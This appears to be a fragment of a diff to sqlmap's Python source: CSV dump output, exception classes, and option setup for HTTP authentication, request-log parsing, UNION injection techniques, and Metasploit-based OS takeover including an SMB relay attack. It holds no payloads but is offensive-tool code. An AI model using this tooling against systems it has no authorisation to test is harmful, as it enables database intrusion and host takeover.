if not conf.multipleTargets and field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||||
else:
|
elif not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|\n%s" % separator)
|
self.__write("|\n%s" % separator)
|
||||||
|
|
||||||
if not conf.multipleTargets:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
@@ -285,14 +323,15 @@ class Dump:
|
|||||||
blank = " " * (maxlength - len(value))
|
blank = " " * (maxlength - len(value))
|
||||||
self.__write("| %s%s" % (value, blank), n=False)
|
self.__write("| %s%s" % (value, blank), n=False)
|
||||||
|
|
||||||
if field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||||
else:
|
elif not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|")
|
self.__write("|")
|
||||||
|
|
||||||
if not conf.multipleTargets:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
@@ -304,7 +343,6 @@ class Dump:
|
|||||||
|
|
||||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||||
|
|
||||||
|
|
||||||
# object to manage how to print the retrieved queries output to
|
# object to manage how to print the retrieved queries output to
|
||||||
# standard output and sessions file
|
# standard output and sessions file
|
||||||
dumper = Dump()
|
dumper = Dump()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
from lib.core.settings import PLATFORM
|
||||||
|
from lib.core.settings import PYVERSION
|
||||||
import sys
|
|
||||||
|
|
||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
@@ -33,78 +31,66 @@ from lib.core.settings import VERSION_STRING
|
|||||||
class sqlmapConnectionException(Exception):
|
class sqlmapConnectionException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapDataException(Exception):
|
class sqlmapDataException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapFilePathException(Exception):
|
class sqlmapFilePathException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapGenericException(Exception):
|
class sqlmapGenericException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapMissingDependence(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapMissingMandatoryOptionException(Exception):
|
class sqlmapMissingMandatoryOptionException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapMissingPrivileges(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapNoneDataException(Exception):
|
class sqlmapNoneDataException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapNotVulnerableException(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapRegExprException(Exception):
|
class sqlmapRegExprException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapSyntaxException(Exception):
|
class sqlmapSyntaxException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUndefinedMethod(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class sqlmapMissingPrivileges(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class sqlmapNotVulnerableException(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class sqlmapThreadException(Exception):
|
class sqlmapThreadException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapUndefinedMethod(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapUnsupportedDBMSException(Exception):
|
class sqlmapUnsupportedDBMSException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUnsupportedFeatureException(Exception):
|
class sqlmapUnsupportedFeatureException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapValueException(Exception):
|
class sqlmapValueException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def unhandledException():
|
def unhandledException():
|
||||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||||
errMsg += "the command line and the following text and send by e-mail "
|
errMsg += "the command line and the following text and send by e-mail "
|
||||||
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
|
errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
|
||||||
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
||||||
errMsg += "Python version: %s\n" % sys.version.split()[0]
|
errMsg += "Python version: %s\n" % PYVERSION
|
||||||
errMsg += "Operating system: %s" % sys.platform
|
errMsg += "Operating system: %s" % PLATFORM
|
||||||
return errMsg
|
return errMsg
|
||||||
|
|
||||||
|
|
||||||
exceptionsTuple = (
|
exceptionsTuple = (
|
||||||
sqlmapConnectionException,
|
sqlmapConnectionException,
|
||||||
sqlmapDataException,
|
sqlmapDataException,
|
||||||
sqlmapFilePathException,
|
sqlmapFilePathException,
|
||||||
sqlmapGenericException,
|
sqlmapGenericException,
|
||||||
|
sqlmapMissingDependence,
|
||||||
sqlmapMissingMandatoryOptionException,
|
sqlmapMissingMandatoryOptionException,
|
||||||
sqlmapNoneDataException,
|
sqlmapNoneDataException,
|
||||||
sqlmapRegExprException,
|
sqlmapRegExprException,
|
||||||
@@ -116,4 +102,4 @@ exceptionsTuple = (
|
|||||||
sqlmapUnsupportedDBMSException,
|
sqlmapUnsupportedDBMSException,
|
||||||
sqlmapUnsupportedFeatureException,
|
sqlmapUnsupportedFeatureException,
|
||||||
sqlmapValueException,
|
sqlmapValueException,
|
||||||
)
|
)
|
||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,22 +22,23 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import cookielib
|
import cookielib
|
||||||
|
import ctypes
|
||||||
|
import difflib
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import time
|
|
||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
|
|
||||||
|
from ConfigParser import ConfigParser
|
||||||
|
|
||||||
|
from lib.core.common import getFileType
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -46,25 +47,32 @@ from lib.core.data import paths
|
|||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
from lib.core.exception import sqlmapGenericException
|
from lib.core.exception import sqlmapGenericException
|
||||||
|
from lib.core.exception import sqlmapMissingDependence
|
||||||
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
|
from lib.core.exception import sqlmapMissingPrivileges
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import SITE
|
from lib.core.settings import SITE
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
|
from lib.core.settings import SUPPORTED_OS
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.update import update
|
from lib.core.update import update
|
||||||
from lib.parse.configfile import configFileParser
|
from lib.parse.configfile import configFileParser
|
||||||
from lib.parse.queriesfile import queriesParser
|
from lib.parse.queriesfile import queriesParser
|
||||||
from lib.request.proxy import ProxyHTTPSHandler
|
from lib.request.proxy import ProxyHTTPSHandler
|
||||||
|
from lib.request.certhandler import HTTPSCertAuthHandler
|
||||||
from lib.utils.google import Google
|
from lib.utils.google import Google
|
||||||
|
|
||||||
|
|
||||||
authHandler = urllib2.BaseHandler()
|
authHandler = urllib2.BaseHandler()
|
||||||
proxyHandler = urllib2.BaseHandler()
|
proxyHandler = urllib2.BaseHandler()
|
||||||
|
|
||||||
|
|
||||||
def __urllib2Opener():
|
def __urllib2Opener():
|
||||||
"""
|
"""
|
||||||
This function creates the urllib2 OpenerDirector.
|
This function creates the urllib2 OpenerDirector.
|
||||||
@@ -75,13 +83,15 @@ def __urllib2Opener():
|
|||||||
|
|
||||||
debugMsg = "creating HTTP requests opener object"
|
debugMsg = "creating HTTP requests opener object"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.cj = cookielib.LWPCookieJar()
|
if conf.dropSetCookie:
|
||||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
opener = urllib2.build_opener(proxyHandler, authHandler)
|
||||||
|
else:
|
||||||
|
conf.cj = cookielib.LWPCookieJar()
|
||||||
|
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||||
|
|
||||||
urllib2.install_opener(opener)
|
urllib2.install_opener(opener)
|
||||||
|
|
||||||
|
|
||||||
def __feedTargetsDict(reqFile, addedTargetUrls):
|
def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
fp = open(reqFile, "r")
|
fp = open(reqFile, "r")
|
||||||
|
|
||||||
@@ -90,7 +100,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
reqResList = fread.split("======================================================")
|
reqResList = fread.split("======================================================")
|
||||||
|
|
||||||
|
port = None
|
||||||
|
scheme = None
|
||||||
|
|
||||||
for request in reqResList:
|
for request in reqResList:
|
||||||
|
if scheme is None:
|
||||||
|
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
|
||||||
|
|
||||||
|
if schemePort:
|
||||||
|
scheme = schemePort.group(1)
|
||||||
|
port = schemePort.group(2)
|
||||||
|
|
||||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -124,10 +144,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
getPostReq = True
|
getPostReq = True
|
||||||
|
|
||||||
|
# GET parameters
|
||||||
elif "?" in line and "=" in line and ": " not in line:
|
elif "?" in line and "=" in line and ": " not in line:
|
||||||
data = line
|
data = line
|
||||||
params = True
|
params = True
|
||||||
|
|
||||||
|
# Cookie and Host headers
|
||||||
elif ": " in line:
|
elif ": " in line:
|
||||||
key, value = line.split(": ", 1)
|
key, value = line.split(": ", 1)
|
||||||
|
|
||||||
@@ -136,15 +158,21 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
elif key.lower() == "host":
|
elif key.lower() == "host":
|
||||||
host = value
|
host = value
|
||||||
|
|
||||||
|
# POST parameters
|
||||||
|
elif method is not None and method == "POST" and "=" in line:
|
||||||
|
data = line
|
||||||
|
params = True
|
||||||
|
|
||||||
if getPostReq and params:
|
if getPostReq and params:
|
||||||
if not url.startswith("http"):
|
if not url.startswith("http"):
|
||||||
url = "http://%s%s" % (host, url)
|
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||||
|
scheme = None
|
||||||
|
port = None
|
||||||
|
|
||||||
if not kb.targetUrls or url not in addedTargetUrls:
|
if not kb.targetUrls or url not in addedTargetUrls:
|
||||||
kb.targetUrls.add(( url, method, data, cookie ))
|
kb.targetUrls.add(( url, method, data, cookie ))
|
||||||
addedTargetUrls.add(url)
|
addedTargetUrls.add(url)
|
||||||
|
|
||||||
|
|
||||||
def __setMultipleTargets():
|
def __setMultipleTargets():
|
||||||
"""
|
"""
|
||||||
Define a configuration parameter if we are running in multiple target
|
Define a configuration parameter if we are running in multiple target
|
||||||
@@ -189,7 +217,6 @@ def __setMultipleTargets():
|
|||||||
infoMsg += "testable requests from the targets list"
|
infoMsg += "testable requests from the targets list"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setGoogleDorking():
|
def __setGoogleDorking():
|
||||||
"""
|
"""
|
||||||
This function checks if the way to request testable hosts is through
|
This function checks if the way to request testable hosts is through
|
||||||
@@ -237,6 +264,186 @@ def __setGoogleDorking():
|
|||||||
errMsg += "have GET parameters to test for SQL injection"
|
errMsg += "have GET parameters to test for SQL injection"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
def __setMetasploit():
|
||||||
|
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||||
|
return
|
||||||
|
|
||||||
|
debugMsg = "setting the takeover out-of-band functionality"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
msfEnvPathExists = False
|
||||||
|
|
||||||
|
if IS_WIN:
|
||||||
|
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||||
|
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||||
|
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||||
|
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
|
||||||
|
warnMsg += "out-of-band features. sqlmap will now continue "
|
||||||
|
warnMsg += "without calling any takeover feature"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
conf.osPwn = None
|
||||||
|
conf.osSmb = None
|
||||||
|
conf.osBof = None
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
if conf.osSmb:
|
||||||
|
isAdmin = False
|
||||||
|
|
||||||
|
if "linux" in PLATFORM or "darwin" in PLATFORM:
|
||||||
|
isAdmin = os.geteuid()
|
||||||
|
|
||||||
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||||
|
isAdmin = True
|
||||||
|
|
||||||
|
elif IS_WIN:
|
||||||
|
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||||
|
|
||||||
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||||
|
isAdmin = True
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "sqlmap is not able to check if you are running it "
|
||||||
|
warnMsg += "as an Administrator accout on this platform. "
|
||||||
|
warnMsg += "sqlmap will assume that you are an Administrator "
|
||||||
|
warnMsg += "which is mandatory for the SMB relay attack to "
|
||||||
|
warnMsg += "work properly"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
isAdmin = True
|
||||||
|
|
||||||
|
if isAdmin is not True:
|
||||||
|
errMsg = "you need to run sqlmap as an Administrator/root "
|
||||||
|
errMsg += "user if you want to perform a SMB relay attack "
|
||||||
|
errMsg += "because it will need to listen on a user-specified "
|
||||||
|
errMsg += "SMB TCP port for incoming connection attempts"
|
||||||
|
raise sqlmapMissingPrivileges, errMsg
|
||||||
|
|
||||||
|
if conf.msfPath:
|
||||||
|
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
debugMsg = "provided Metasploit Framework 3 path "
|
||||||
|
debugMsg += "'%s' is valid" % conf.msfPath
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
msfEnvPathExists = True
|
||||||
|
else:
|
||||||
|
warnMsg = "the provided Metasploit Framework 3 path "
|
||||||
|
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
|
||||||
|
warnMsg += "be that the path does not exists or that one "
|
||||||
|
warnMsg += "or more of the needed Metasploit executables "
|
||||||
|
warnMsg += "within msfcli, msfconsole, msfencode and "
|
||||||
|
warnMsg += "msfpayload do not exist"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
else:
|
||||||
|
warnMsg = "you did not provide the local path where Metasploit "
|
||||||
|
warnMsg += "Framework 3 is installed"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if not msfEnvPathExists:
|
||||||
|
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||||
|
warnMsg += "installation into the environment paths"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
envPaths = os.environ["PATH"]
|
||||||
|
|
||||||
|
if IS_WIN:
|
||||||
|
envPaths = envPaths.split(";")
|
||||||
|
else:
|
||||||
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
|
for envPath in envPaths:
|
||||||
|
envPath = envPath.replace(";", "")
|
||||||
|
condition = os.path.exists(os.path.normpath(envPath))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
|
||||||
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
infoMsg = "Metasploit Framework 3 has been found "
|
||||||
|
infoMsg += "installed in the '%s' path" % envPath
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
msfEnvPathExists = True
|
||||||
|
conf.msfPath = envPath
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if not msfEnvPathExists:
|
||||||
|
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||||
|
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
def __setWriteFile():
|
||||||
|
if not conf.wFile:
|
||||||
|
return
|
||||||
|
|
||||||
|
debugMsg = "setting the write file functionality"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if not os.path.exists(conf.wFile):
|
||||||
|
errMsg = "the provided local file '%s' does not exist" % conf.wFile
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
if not conf.dFile:
|
||||||
|
errMsg = "you did not provide the back-end DBMS absolute path "
|
||||||
|
errMsg += "where you want to write the local file '%s'" % conf.wFile
|
||||||
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
|
conf.wFileType = getFileType(conf.wFile)
|
||||||
|
|
||||||
|
def __setUnionTech():
|
||||||
|
if conf.uTech is None:
|
||||||
|
conf.uTech = "NULL"
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
debugMsg = "setting the UNION query SQL injection detection technique"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
uTechOriginal = conf.uTech
|
||||||
|
conf.uTech = conf.uTech.lower()
|
||||||
|
|
||||||
|
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
|
||||||
|
infoMsg = "resetting the UNION query detection technique to "
|
||||||
|
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
conf.uTech = "NULL"
|
||||||
|
|
||||||
|
else:
|
||||||
|
debugMsg = "setting UNION query detection technique to "
|
||||||
|
debugMsg += "'%s'" % uTechOriginal
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
def __setOS():
|
||||||
|
"""
|
||||||
|
Force the back-end DBMS operating system option.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not conf.os:
|
||||||
|
return
|
||||||
|
|
||||||
|
debugMsg = "forcing back-end DBMS operating system to user defined value"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.os = conf.os.lower()
|
||||||
|
|
||||||
|
if conf.os not in SUPPORTED_OS:
|
||||||
|
errMsg = "you provided an unsupported back-end DBMS operating "
|
||||||
|
errMsg += "system. The supported DBMS operating systems for OS "
|
||||||
|
errMsg += "and file system access are Linux and Windows. "
|
||||||
|
errMsg += "If you do not know the back-end DBMS underlying OS, "
|
||||||
|
errMsg += "do not provide it and sqlmap will fingerprint it for "
|
||||||
|
errMsg += "you."
|
||||||
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
def __setDBMS():
|
def __setDBMS():
|
||||||
"""
|
"""
|
||||||
@@ -250,13 +457,15 @@ def __setDBMS():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
conf.dbms = dbmsRegExp.group(1)
|
conf.dbms = dbmsRegExp.group(1)
|
||||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||||
|
|
||||||
if conf.dbms not in SUPPORTED_DBMS:
|
if conf.dbms not in SUPPORTED_DBMS:
|
||||||
errMsg = "you provided an unsupported back-end database management "
|
errMsg = "you provided an unsupported back-end database management "
|
||||||
@@ -266,12 +475,10 @@ def __setDBMS():
|
|||||||
errMsg += "fingerprint it for you."
|
errMsg += "fingerprint it for you."
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setThreads():
|
def __setThreads():
|
||||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||||
conf.threads = 1
|
conf.threads = 1
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPProxy():
|
def __setHTTPProxy():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||||
@@ -282,8 +489,6 @@ def __setHTTPProxy():
|
|||||||
if not conf.proxy:
|
if not conf.proxy:
|
||||||
return
|
return
|
||||||
|
|
||||||
parseTargetUrl()
|
|
||||||
|
|
||||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
@@ -305,65 +510,96 @@ def __setHTTPProxy():
|
|||||||
|
|
||||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
# can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
|
||||||
# standard library
|
# urllib2 standard library
|
||||||
if conf.scheme == "https":
|
if conf.scheme == "https":
|
||||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||||
else:
|
else:
|
||||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPAuthentication():
|
def __setHTTPAuthentication():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP authentication method (Basic or Digest),
|
Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate),
|
||||||
username and password to perform HTTP requests with.
|
username and password for first three methods, or key file and certification file for
|
||||||
|
certificate authentication
|
||||||
"""
|
"""
|
||||||
|
|
||||||
global authHandler
|
global authHandler
|
||||||
|
|
||||||
if not conf.aType and not conf.aCred:
|
if not conf.aType and not conf.aCred and not conf.aCert:
|
||||||
return
|
return
|
||||||
|
|
||||||
elif conf.aType and not conf.aCred:
|
elif conf.aType and not conf.aCred:
|
||||||
errMsg = "you specified the HTTP Authentication type, but "
|
errMsg = "you specified the HTTP authentication type, but "
|
||||||
errMsg += "did not provide the credentials"
|
errMsg += "did not provide the credentials"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
elif not conf.aType and conf.aCred:
|
elif not conf.aType and conf.aCred:
|
||||||
errMsg = "you specified the HTTP Authentication credentials, "
|
errMsg = "you specified the HTTP authentication credentials, "
|
||||||
errMsg += "but did not provide the type"
|
errMsg += "but did not provide the type"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
parseTargetUrl()
|
if not conf.aCert:
|
||||||
|
debugMsg = "setting the HTTP authentication type and credentials"
|
||||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
logger.debug(debugMsg)
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
aTypeLower = conf.aType.lower()
|
||||||
aTypeLower = conf.aType.lower()
|
|
||||||
|
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||||
if aTypeLower not in ( "basic", "digest" ):
